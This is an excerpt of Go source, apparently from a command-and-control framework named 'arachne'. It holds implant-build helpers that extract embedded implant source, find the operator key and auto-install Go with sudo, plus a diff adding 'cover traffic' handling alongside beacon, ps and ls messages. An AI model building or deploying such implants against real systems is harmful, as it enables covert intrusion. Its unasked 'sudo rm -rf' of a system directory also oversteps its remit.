if rel == "" {
return nil
}
rel = strings.TrimPrefix(rel, "/")
target := filepath.Join(dst, rel)
if d.IsDir() {
return os.MkdirAll(target, 0755)
}
data, err := embedsrc.ImplantSource.ReadFile(path)
if err != nil {
return err
}
return os.WriteFile(target, data, 0644)
})
}
func defaultPubKeyPath() string {
home, err := os.UserHomeDir()
if err != nil {
return "operator.pub"
}
return filepath.Join(home, ".arachne", "operator.pub")
}
func findProjectRoot() (string, error) {
dir, err := os.Getwd()
if err != nil {
return "", err
}
for {
if fileExists(filepath.Join(dir, "go.mod")) {
return dir, nil
}
parent := filepath.Dir(dir)
if parent == dir {
return "", fmt.Errorf("no go.mod found (run from project root)")
}
dir = parent
}
}
func ensureGo() (string, error) {
if p, err := exec.LookPath("go"); err == nil {
return p, nil
}
if goroot := os.Getenv("GOROOT"); goroot != "" {
candidate := filepath.Join(goroot, "bin", "go")
if fileExists(candidate) {
return candidate, nil
}
}
if fileExists("/usr/local/go/bin/go") {
return "/usr/local/go/bin/go", nil
}
log.Print("Go not found. Attempting to install...")
osName := runtime.GOOS
archName := runtime.GOARCH
switch archName {
case "x86_64":
archName = "amd64"
case "aarch64":
archName = "arm64"
}
resp, err := http.Get("https://go.dev/VERSION?m=text")
if err != nil {
return "", fmt.Errorf("check go version: %w", err)
}
defer resp.Body.Close()
versionBytes, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("read go version: %w", err)
}
version := strings.TrimSpace(strings.Split(string(versionBytes), "\n")[0])
url := fmt.Sprintf("https://go.dev/dl/%s.%s-%s.tar.gz", version, osName, archName)
log.Printf("downloading %s ...", url)
tarball, err := os.CreateTemp("", "go-*.tar.gz")
if err != nil {
return "", fmt.Errorf("create temp file: %w", err)
}
defer os.Remove(tarball.Name())
dlResp, err := http.Get(url)
if err != nil {
return "", fmt.Errorf("download go: %w", err)
}
defer dlResp.Body.Close()
if _, err := io.Copy(tarball, dlResp.Body); err != nil {
return "", fmt.Errorf("write go tarball: %w", err)
}
tarball.Close()
log.Print("extracting to /usr/local/go ...")
if err := exec.Command("sudo", "rm", "-rf", "/usr/local/go").Run(); err != nil {
return "", fmt.Errorf("remove old go: %w", err)
}
if err := exec.Command("sudo", "tar", "-C", "/usr/local", "-xzf", tarball.Name()).Run(); err != nil {
return "", fmt.Errorf("extract go: %w", err)
}
log.Printf("Go %s installed at /usr/local/go", version)
return "/usr/local/go/bin/go", nil
}
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func bytesLiteral(data []byte) string {
var parts []string
for _, b := range data {
parts = append(parts, fmt.Sprintf("%d", b))
}
return "[]byte{" + strings.Join(parts, ",") + "}"
}
+2
View File
@@ -170,6 +170,8 @@ func (o *Operator) handleMessage(ctx context.Context, env *arachnepb.Envelope, s
switch env.Type {
case transport.MsgTypeRegister:
o.handleBeaconRegister(env)
case transport.MsgTypeCover:
// cover traffic silently dropped
case transport.MsgTypePs:
o.handlePsResult(env)
case transport.MsgTypeLs: